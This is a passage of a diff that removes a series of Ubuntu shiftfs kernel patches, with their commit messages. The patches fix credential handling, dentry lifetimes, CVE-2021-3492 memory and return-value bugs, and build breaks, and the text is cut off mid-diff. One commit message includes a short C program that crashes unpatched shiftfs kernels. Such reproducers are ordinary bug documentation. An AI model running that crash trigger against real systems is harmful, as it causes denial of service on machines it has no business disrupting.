-+	newattr.ia_uid = shift_kuid(sb->s_user_ns, sbinfo->userns, attr->ia_uid);
-+	newattr.ia_gid = shift_kgid(sb->s_user_ns, sbinfo->userns, attr->ia_gid);
- 
- 	/*
- 	 * mode change is for clearing setuid/setgid bits. Allow lower fs
-@@ -1356,6 +1358,7 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
- 					const struct cred **oldcred,
- 					struct cred **newcred)
- {
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 	kuid_t fsuid = current_fsuid();
- 	kgid_t fsgid = current_fsgid();
- 
-@@ -1367,8 +1370,8 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
- 		return -ENOMEM;
- 	}
- 
--	(*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
--	(*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
-+	(*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid);
-+	(*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid);
- 
- 	/* clear all caps to prevent bypassing capable() checks */
- 	cap_clear((*newcred)->cap_bset);
--- 
-2.39.2
-
-From f140d37a80df29e1746b9ba9a29cf5b505c6a70f Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Fri, 17 Jan 2020 16:17:06 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent lower dentries from going
- negative during unlink
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1860041
-
-All non-special files (For shiftfs this only includes fifos and - for
-this case - unix sockets - since we don't allow character and block
-devices to be created.) go through shiftfs_open() and have their dentry
-pinned through this codepath preventing it from going negative. But
-fifos don't use the shiftfs fops but rather use the pipefifo_fops which
-means they do not go through shiftfs_open() and thus don't have their
-dentry pinned that way. Thus, the lower dentries for such files can go
-negative on unlink causing segfaults. The following C program can be
-used to reproduce the crash:
-
- #include <stdio.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <stdlib.h>
-
- int main(int argc, char *argv[])
- {
-        struct stat stat;
-
-        unlink("./bbb");
-
-        int ret = mknod("./bbb", S_IFIFO|0666, 0);
-        if (ret < 0)
-                exit(1);
-
-        int fd = open("./bbb", O_RDWR);
-        if (fd < 0)
-                exit(2);
-
-        if (unlink("./bbb"))
-                exit(4);
-
-        fstat(fd, &stat);
-
-        return 0;
- }
-
-Similar to ecryptfs we need to dget() the lower dentry before calling
-vfs_unlink() on it and dput() it afterwards.
-
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Link: https://travis-ci.community/t/arm64-ppc64le-segfaults/6158/3
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 04fba4689eb6..3623d02b061e 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -583,6 +583,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- 	int err;
- 	const struct cred *oldcred;
- 
-+	dget(lowerd);
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
- 	inode_lock_nested(loweri, I_MUTEX_PARENT);
- 	if (rmdir)
-@@ -602,6 +603,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- 	inode_unlock(loweri);
- 
- 	shiftfs_copyattr(loweri, dir);
-+	dput(lowerd);
- 
- 	return err;
- }
--- 
-2.39.2
-
-From c9d38b0997c70e60f89b31c83d1b7a1e375f28b1 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Fri, 10 Apr 2020 16:55:28 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: record correct creator credentials
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1872094
-
-When shiftfs is nested we failed to be able to create any files or
-access directories because we recorded the wrong creator credentials. We
-need to record the credentials of the creator of the lowers mark mount
-of shiftfs. Otherwise we aren't privileged wrt to the shiftfs layer in
-the nesting case. This is similar to how we always record the user
-namespace of the base filesystem.
-
-Suggested-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 17 +++++++++--------
- 1 file changed, 9 insertions(+), 8 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 3623d02b061e..5c39529d0a17 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -2020,6 +2020,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 			 * parent mark mountpoint.
- 			 */
- 			sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark;
-+			sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
- 		} else {
- 			sbinfo->mnt = mntget(path.mnt);
- 			dentry = dget(path.dentry);
-@@ -2028,16 +2029,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 			 * are identical.
- 			 */
- 			sbinfo->passthrough_mark = sbinfo->passthrough;
--		}
- 
--		cred_tmp = prepare_creds();
--		if (!cred_tmp) {
--			err = -ENOMEM;
--			goto out_put_path;
-+			cred_tmp = prepare_creds();
-+			if (!cred_tmp) {
-+				err = -ENOMEM;
-+				goto out_put_path;
-+			}
-+			/* Don't override disk quota limits or use reserved space. */
-+			cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
-+			sbinfo->creator_cred = cred_tmp;
- 		}
--		/* Don't override disk quota limits or use reserved space. */
--		cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
--		sbinfo->creator_cred = cred_tmp;
- 	} else {
- 		/*
- 		 * This leg executes if we're admin capable in the namespace,
--- 
-2.39.2
-
-From 485977eb4fb2701211275d28ca4fdbec87704a18 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Wed, 20 May 2020 13:44:27 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: let userns root destroy subvolumes
- from other users
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1879688
-
-Stéphane reported a bug found during NorthSec that makes heavy use of
-shiftfs. When a subvolume or snapshot is created as userns root in the
-container and then chowned to another user a delete as the root user
-will fail. The reason for this is that we drop all capabilities as a
-safety measure before calling btrfs ioctls. The only workable fix I
-could think of is to retain the CAP_DAC_OVERRIDE capability for the
-BTRFS_IOC_SNAP_DESTROY ioctl. All other solutions would be way more
-invasive.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Cc: Seth Forshee <seth.forshee@×××××××××.com>
-Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 5c39529d0a17..5d88193b41db 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1356,7 +1356,7 @@ static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len,
- 	return ret;
- }
- 
--static int shiftfs_override_ioctl_creds(const struct super_block *sb,
-+static int shiftfs_override_ioctl_creds(int cmd, const struct super_block *sb,
- 					const struct cred **oldcred,
- 					struct cred **newcred)
- {
-@@ -1381,6 +1381,16 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
- 	cap_clear((*newcred)->cap_inheritable);
- 	cap_clear((*newcred)->cap_permitted);
- 
-+	if (cmd == BTRFS_IOC_SNAP_DESTROY) {
-+		kuid_t kuid_root = make_kuid(sb->s_user_ns, 0);
-+		/*
-+		 * Allow the root user in the container to remove subvolumes
-+		 * from other users.
-+		 */
-+		if (uid_valid(kuid_root) && uid_eq(fsuid, kuid_root))
-+			cap_raise((*newcred)->cap_effective, CAP_DAC_OVERRIDE);
-+	}
-+
- 	put_cred(override_creds(*newcred));
- 	return 0;
- }
-@@ -1513,7 +1523,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- 	if (ret)
- 		goto out_restore;
- 
--	ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
-+	ret = shiftfs_override_ioctl_creds(cmd, sb, &oldcred, &newcred);
- 	if (ret)
- 		goto out_fdput;
- 
--- 
-2.39.2
-
-From e090464bdd744306b3b766b2a675ee26e934f1ef Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Mon, 15 Jun 2020 15:16:11 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs -- Fix build errors from missing
- fiemap definitions
-Cc: mpagano@g.o
-
-shiftfs FTBFS with 5.8-rc1:
-
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c: In function 'shiftfs_fiemap':
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:13: error: dereferencing pointer to incomplete type 'struct fiemap_extent_info'
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:26: error: 'FIEMAP_FLAG_SYNC' undeclared (first use in this function); did you mean 'FS_XFLAG_SYNC'?
-
-It seems that shiftfs was getting linux/fiemap.h included
-indirectly before. Include it directly.
-
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 5d88193b41db..f9a5c94a9793 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -20,6 +20,7 @@
- #include <linux/posix_acl.h>
- #include <linux/posix_acl_xattr.h>
- #include <linux/uio.h>
-+#include <linux/fiemap.h>
- 
- struct shiftfs_super_info {
- 	struct vfsmount *mnt;
--- 
-2.39.2
-
-From 436cc946e1acb3833c41e6a7df3239f5f559369a Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Tue, 23 Jun 2020 19:46:16 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent ESTALE for LOOKUP_JUMP
- lookups
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1872757
-
-Users reported that creating temporary files shiftfs reports ESTALE.
-This can be reproduced via:
-
-import tempfile
-import os
-
-def test():
-    with tempfile.TemporaryFile() as fd:
-        fd.write("data".encode('utf-8'))
-        # re-open the file to get a read-only file descriptor
-        return open(f"/proc/self/fd/{fd.fileno()}", "r")
-
-def main():
-   fd = test()
-   fd.close()
-
-if __name__ == "__main__":
-    main()
-
-a similar issue was reported here:
-https://github.com/systemd/systemd/issues/14861
-
-Our revalidate methods were very opinionated about whether or not a
-lower dentry was valid especially when it became unlinked we simply
-invalidated the lower dentry which caused above bug to surface. This has
-led to bugs where a ESTALE was returned for e.g.  temporary files that
-were created and directly re-opened afterwards through
-/proc/<pid>/fd/<nr-of-deleted-file>. When a file is re-opened through
-/proc/<pid>/fd/<nr> LOOKUP_JUMP is set and the vfs will revalidate via
-d_weak_revalidate(). Since the file has been unhashed or even already
-gone negative we'd fail the open when we should've succeeded.
-
-Reported-by: Christian Kellner <ckellner@××××××.com>
-Reported-by: Evgeny Vereshchagin <evvers@××.ru>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Cc: Seth Forshee <seth.forshee@×××××××××.com>
-Link: https://github.com/systemd/systemd/issues/14861
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index f9a5c94a9793..3cfd1881e9a2 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -252,8 +252,6 @@ static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
- 		struct inode *loweri = d_inode(lowerd);
- 
- 		shiftfs_copyattr(loweri, inode);
--		if (!inode->i_nlink)
--			err = 0;
- 	}
- 
- 	return err;
-@@ -279,8 +277,6 @@ static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
- 		struct inode *loweri = d_inode(lowerd);
- 
- 		shiftfs_copyattr(loweri, inode);
--		if (!inode->i_nlink)
--			err = 0;
- 	}
- 
- 	return err;
--- 
-2.39.2
-
-From 21c3ebac069050649a03a1e9d5f2fd4c895fc6cd Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Wed, 30 Dec 2020 11:10:20 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix build error with 5.11
-Cc: mpagano@g.o
-
-After commit:
-
- 8760c909f54a82aaa6e76da19afe798a0c77c3c3 ("file: Rename __close_fd to close_fd and remove the files parameter")
-
-__close_fd() has been renamed to close_fd() and the files parameter has
-been removed.
-
-Change the shiftfs code to properly support this change.
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 3cfd1881e9a2..4f1d94903557 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1420,7 +1420,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
- 	else
- 		ret = copy_to_user(arg, v2, sizeof(*v2));
- 
--	__close_fd(current->files, fd);
-+	close_fd(fd);
- 	kfree(v1);
- 	kfree(v2);
- 
-@@ -1468,7 +1468,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 	/*
- 	 * shiftfs_real_fdget() does not take a reference to lfd.file, so
- 	 * take a reference here to offset the one which will be put by
--	 * __close_fd(), and make sure that reference is put on fdput(lfd).
-+	 * close_fd(), and make sure that reference is put on fdput(lfd).
- 	 */
- 	get_file(lfd.file);
- 	lfd.flags |= FDPUT_FPUT;
--- 
-2.39.2
-
-From c0ebd52879a8805e07e59a25e72bce73e2ddcd90 Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Fri, 9 Apr 2021 13:01:06 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: free allocated memory in
- shiftfs_btrfs_ioctl_fd_replace() error paths
-Cc: mpagano@g.o
-
-Many error paths in shiftfs_btrfs_ioctl_fd_replace() do not free memory
-allocated near the top of the function. Fix up these error paths to free
-the memory.
-
-Additionally, the addresses for the allocated memory are assigned to
-return parameters early in the function, before we know whether or not
-the function as a whole will return success. Wait to assign these values
-until we know the function was successful, and for good measure
-initialize the return parameters to NULL at the start.
-
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-CVE-2021-3492
-Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 28 +++++++++++++++++++++-------
- 1 file changed, 21 insertions(+), 7 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 4f1d94903557..8eab93691d62 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1438,6 +1438,9 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 	struct btrfs_ioctl_vol_args *v1 = NULL;
- 	struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
- 
-+	*b1 = NULL;
-+	*b2 = NULL;
-+
- 	if (!is_btrfs_snap_ioctl(cmd))
- 		return 0;
- 
-@@ -1446,23 +1449,23 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 		if (IS_ERR(v1))
- 			return PTR_ERR(v1);
- 		oldfd = v1->fd;
--		*b1 = v1;
- 	} else {
- 		v2 = memdup_user(arg, sizeof(*v2));
- 		if (IS_ERR(v2))
- 			return PTR_ERR(v2);
- 		oldfd = v2->fd;
--		*b2 = v2;
- 	}
- 
- 	src = fdget(oldfd);
--	if (!src.file)
--		return -EINVAL;
-+	if (!src.file) {
-+		ret = -EINVAL;
-+		goto err_free;
-+	}
- 
- 	ret = shiftfs_real_fdget(src.file, &lfd);
- 	if (ret) {
- 		fdput(src);
--		return ret;
-+		goto err_free;
- 	}
- 
- 	/*
-@@ -1477,7 +1480,8 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 	*newfd = get_unused_fd_flags(lfd.file->f_flags);
- 	if (*newfd < 0) {
- 		fdput(lfd);
--		return *newfd;
-+		ret = *newfd;
-+		goto err_free;
- 	}
- 
- 	fd_install(*newfd, lfd.file);
-@@ -1492,8 +1496,18 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 		v2->fd = oldfd;
- 	}
- 
--	if (ret)
-+	if (!ret) {
-+		*b1 = v1;
-+		*b2 = v2;
-+	} else {
- 		shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
-+	}
-+
-+	return ret;
-+
-+err_free:
-+	kfree(v1);
-+	kfree(v2);
- 
- 	return ret;
- }
--- 
-2.39.2
-
-From f0a7637da44fdf17351c0ba4c3f616941c749f57 Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Fri, 9 Apr 2021 13:10:37 -0500
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: handle copy_to_user() return values
- correctly
-Cc: mpagano@g.o
-
-shiftfs expects copy_to_user() to return a negative error code on
-failure, when it actually returns the amount of uncopied data. Fix all
-code using copy_to_user() to handle the return values correctly.
-
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-CVE-2021-3492
-Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 8eab93691d62..abeb7db3b9be 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1424,7 +1424,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
- 	kfree(v1);
- 	kfree(v2);
- 
--	return ret;
-+	return ret ? -EFAULT: 0;
- }
- 
- static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
-@@ -1501,6 +1501,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
- 		*b2 = v2;
- 	} else {
- 		shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
-+		ret = -EFAULT;
- 	}
- 
- 	return ret;
--- 
-2.39.2
-
-From d2e7abdd84fb28842c61ffd7128977f29518e4ef Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Mon, 9 Aug 2021 17:15:28 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix sendfile() invocations
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1939301
-
-Upstream commit 36e2c7421f02 ("fs: don't allow splice read/write without explicit ops")
-caused a regression for us. It states:
-
-> default_file_splice_write is the last piece of generic code that uses
-> set_fs to make the uaccess routines operate on kernel pointers.  It
-> implements a "fallback loop" for splicing from files that do not actually
-> provide a proper splice_read method.  The usual file systems and other
-> high bandwidth instances all provide a ->splice_read, so this just removes
-> support for various device drivers and procfs/debugfs files.  If splice
-> support for any of those turns out to be important it can be added back
-> by switching them to the iter ops and using generic_file_splice_read.
-
-this means that currently all workloads making use of sendfile() on
-shiftfs fail. This includes LXD, Anbox and a range of others. Fix this
-by providing explicit .splice_read() and .splice_write() methods which
-jus restores the status quo and we keep using a generic method provided
-by the vfs.
-
-Cc: Seth Forshee <sforshee@××××××.org>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Paolo Pisati <paolo.pisati@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index abeb7db3b9be..f5f6d8d8144e 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1737,6 +1737,8 @@ const struct file_operations shiftfs_file_operations = {
- 	.compat_ioctl		= shiftfs_compat_ioctl,
- 	.copy_file_range	= shiftfs_copy_file_range,
- 	.remap_file_range	= shiftfs_remap_file_range,
-+	.splice_read		= generic_file_splice_read,
-+	.splice_write		= iter_file_splice_write,
- };
- 
- const struct file_operations shiftfs_dir_operations = {
--- 
-2.39.2
-
-From ff28712d9e52b3b0b2127e9898b96f7c1e11bd26 Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Thu, 20 Jan 2022 16:55:24 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 5.15
-Cc: mpagano@g.o
-
-WARNING: after this change we may see some regressions if shiftfs is
-used with filesystem namespaces.
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 107 ++++++++++++++++++++++++++++++---------------------
- 1 file changed, 64 insertions(+), 43 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index f5f6d8d8144e..76c54bc12018 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -308,7 +308,8 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
- 	return p;
- }
- 
--static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
-+static int shiftfs_setxattr(struct user_namespace *ns,
-+			    struct dentry *dentry, struct inode *inode,
- 			    const char *name, const void *value,
- 			    size_t size, int flags)
- {
-@@ -317,7 +318,7 @@ static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
- 	const struct cred *oldcred;
- 
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = vfs_setxattr(lowerd, name, value, size, flags);
-+	err = vfs_setxattr(ns, lowerd, name, value, size, flags);
- 	revert_creds(oldcred);
- 
- 	shiftfs_copyattr(lowerd->d_inode, inode);
-@@ -334,7 +335,7 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
- 	const struct cred *oldcred;
- 
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = vfs_getxattr(lowerd, name, value, size);
-+	err = vfs_getxattr(&init_user_ns, lowerd, name, value, size);
- 	revert_creds(oldcred);
- 
- 	return err;
-@@ -354,14 +355,15 @@ static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
- 	return err;
- }
- 
--static int shiftfs_removexattr(struct dentry *dentry, const char *name)
-+static int shiftfs_removexattr(struct user_namespace *ns,
-+			       struct dentry *dentry, const char *name)
- {
- 	struct dentry *lowerd = dentry->d_fsdata;
- 	int err;
- 	const struct cred *oldcred;
- 
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = vfs_removexattr(lowerd, name);
-+	err = vfs_removexattr(ns, lowerd, name);
- 	revert_creds(oldcred);
- 
- 	/* update c/mtime */
-@@ -371,13 +373,14 @@ static int shiftfs_removexattr(struct dentry *dentry, const char *name)
- }
- 
- static int shiftfs_xattr_set(const struct xattr_handler *handler,
-+			     struct user_namespace *ns,
- 			     struct dentry *dentry, struct inode *inode,
- 			     const char *name, const void *value, size_t size,
- 			     int flags)
- {
- 	if (!value)
--		return shiftfs_removexattr(dentry, name);
--	return shiftfs_setxattr(dentry, inode, name, value, size, flags);
-+		return shiftfs_removexattr(ns, dentry, name);
-+	return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags);
- }
- 
- static int shiftfs_inode_test(struct inode *inode, void *data)
-@@ -391,7 +394,8 @@ static int shiftfs_inode_set(struct inode *inode, void *data)
- 	return 0;
- }
- 
--static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
-+static int shiftfs_create_object(struct user_namespace *ns,
-+				 struct inode *diri, struct dentry *dentry,
- 				 umode_t mode, const char *symlink,
- 				 struct dentry *hardlink, bool excl)
- {
-@@ -453,7 +457,7 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
- 		inode->i_state |= I_CREATING;
- 		spin_unlock(&inode->i_lock);
- 
--		inode_init_owner(inode, diri, mode);
-+		inode_init_owner(ns, inode, diri, mode);
- 		modei = inode->i_mode;
- 	}
- 
-@@ -464,22 +468,22 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
- 
- 	if (hardlink) {
- 		lowerd_link = hardlink->d_fsdata;
--		err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL);
-+		err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL);
- 	} else {
- 		switch (modei & S_IFMT) {
- 		case S_IFDIR:
--			err = vfs_mkdir(loweri_dir, lowerd_new, modei);
-+			err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei);
- 			break;
- 		case S_IFREG:
--			err = vfs_create(loweri_dir, lowerd_new, modei, excl);
-+			err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl);
- 			break;
- 		case S_IFLNK:
--			err = vfs_symlink(loweri_dir, lowerd_new, symlink);
-+			err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink);
- 			break;
- 		case S_IFSOCK:
- 			/* fall through */
- 		case S_IFIFO:
--			err = vfs_mknod(loweri_dir, lowerd_new, modei, 0);
-+			err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0);
- 			break;
- 		default:
- 			err = -EINVAL;
-@@ -535,41 +539,43 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
- 	return err;
- }
- 
--static int shiftfs_create(struct inode *dir, struct dentry *dentry,
-+static int shiftfs_create(struct user_namespace *ns,
-+			  struct inode *dir, struct dentry *dentry,
- 			  umode_t mode,  bool excl)
- {
- 	mode |= S_IFREG;
- 
--	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
-+	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl);
- }
- 
--static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
-+static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
- 			 umode_t mode)
- {
- 	mode |= S_IFDIR;
- 
--	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
-+	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
- }
- 
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
- 			struct dentry *dentry)
- {
--	return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
-+	return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false);
- }
- 
--static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode,
-+static int shiftfs_mknod(struct user_namespace *ns,
-+			 struct inode *dir, struct dentry *dentry, umode_t mode,
- 			 dev_t rdev)
- {
- 	if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
- 		return -EPERM;
- 
--	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
-+	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
- }
- 
--static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
-+static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
- 			   const char *symlink)
- {
--	return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
-+	return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false);
- }
- 
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
-@@ -584,9 +590,9 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
- 	inode_lock_nested(loweri, I_MUTEX_PARENT);
- 	if (rmdir)
--		err = vfs_rmdir(loweri, lowerd);
-+		err = vfs_rmdir(&init_user_ns, loweri, lowerd);
- 	else
--		err = vfs_unlink(loweri, lowerd, NULL);
-+		err = vfs_unlink(&init_user_ns, loweri, lowerd, NULL);
- 	revert_creds(oldcred);
- 
- 	if (!err) {
-@@ -615,7 +621,8 @@ static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry)
- 	return shiftfs_rm(dir, dentry, true);
- }
- 
--static int shiftfs_rename(struct inode *olddir, struct dentry *old,
-+static int shiftfs_rename(struct user_namespace *ns,
-+			  struct inode *olddir, struct dentry *old,
- 			  struct inode *newdir, struct dentry *new,
- 			  unsigned int flags)
- {
-@@ -625,6 +632,14 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
- 		      *trapd;
- 	struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
